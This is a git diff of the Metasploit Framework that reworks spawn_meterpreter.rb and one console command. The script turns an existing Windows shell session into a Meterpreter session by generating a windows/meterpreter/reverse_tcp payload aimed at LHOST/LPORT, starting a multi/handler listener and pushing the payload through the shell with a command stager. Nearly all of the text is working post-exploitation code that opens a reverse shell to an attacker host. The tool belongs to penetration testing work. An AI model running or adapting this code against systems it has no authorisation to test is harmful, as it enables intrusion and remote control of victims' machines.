diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index ab280f6c12..00895628af 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1257,7 +1257,7 @@ class Core if ((session = framework.sessions.get(sid))) if (session.interactive?) if (session.type == "shell") # XXX: check for windows? - session.execute_script('spawn_meterpreter', val) + session.execute_script('spawn_meterpreter', nil) else print_error("Session #{sid} is not a command shell session.") end diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index 0c4e1600d3..239342c963 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -9,16 +9,24 @@ # -jduck # -use_handler = true + +raise RuntimeError, "You must select a session." if (not session) +raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell") + +# Check for required datastore options +if (not framework.datastore['LHOST'] or not framework.datastore['LPORT']) + raise RuntimeError, "You must set LPORT and LHOST for this script to work." +end lhost = framework.datastore['LHOST'] lport = framework.datastore['LPORT'] +# maybe we want our sessions going to another instance? +use_handler = true +use_handler = nil if (framework.datastore['DisablePayloadHandler'] == true) -if (session.type != "shell") - raise RuntimeError, "Selected session is not a command shell session!" -end # Process special var/val pairs... +# XXX: Not supported yet... #Msf::Ui::Common.process_cli_arguments($framework, ARGV) # Create the payload instance payload_name = 'windows/meterpreter/reverse_tcp' @@ -27,15 +35,18 @@ options = 'LHOST='+lhost + ' LPORT='+lport buf = payload.generate_simple('OptionStr' => options) +# +# Spawn the handler if needed +# +mh = nil if (use_handler) - #print_status("Starting handler for #{payload_name} on port #{lport}") - multihandler = framework.modules.create("exploit/multi/handler") - multihandler.datastore['LPORT'] = lport - multihandler.datastore['LHOST'] = lhost - multihandler.datastore['PAYLOAD'] = payload_name - multihandler.datastore['ExitOnSession'] = false - multihandler.datastore['EXITFUNC'] = 'process' - multihandler.exploit_simple( + mh = framework.modules.create("exploit/multi/handler") + mh.datastore['LPORT'] = lport + mh.datastore['LHOST'] = lhost + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['ExitOnSession'] = true # auto-cleanup + mh.datastore['EXITFUNC'] = 'process' + mh.exploit_simple( 'LocalInput' => session.user_input, 'LocalOutput' => session.user_output, 'Payload' => payload_name, @@ -44,6 +55,9 @@ if (use_handler) # a bit to make sure the exploit is fully working. Without this, # mod.get_resource doesn't exist when we need it. Rex::ThreadSafe.sleep(0.5) + if framework.jobs[mh.job_id.to_s].nil? + raise RuntimeError, "Failed to start multi/handler" + end end @@ -57,6 +71,10 @@ def progress(total, sent) end end + +# +# Setup the command stager +# los = 'win' larch = ARCH_X86 opts = { @@ -65,6 +83,9 @@ opts = { linelen = 1700 delay = 0.25 +# +# Generate the stager command array +# cmdstager = Rex::Exploitation::CmdStager.new(buf, framework, los, larch) cmds = cmdstager.generate(opts, linelen) if (cmds.nil? or cmds.length < 1) @@ -72,12 +93,16 @@ if (cmds.nil? or cmds.length < 1) raise ArgumentError end - +# +# Calculate the total size +# total_bytes = 0 cmds.each { |cmd| total_bytes += cmd.length } -# $stderr.puts("CmdStager generated %u commands (%u bytes)" % [cmds.length, total_bytes]) +# +# Run the commands one at a time +# begin sent = 0 cmds.each { |cmd| @@ -96,9 +121,3 @@ begin rescue ::Interrupt # TODO: cleanup partial uploads! end - - -if (use_handler) - print_status("cleaning up...") - # XXX: stop the job -end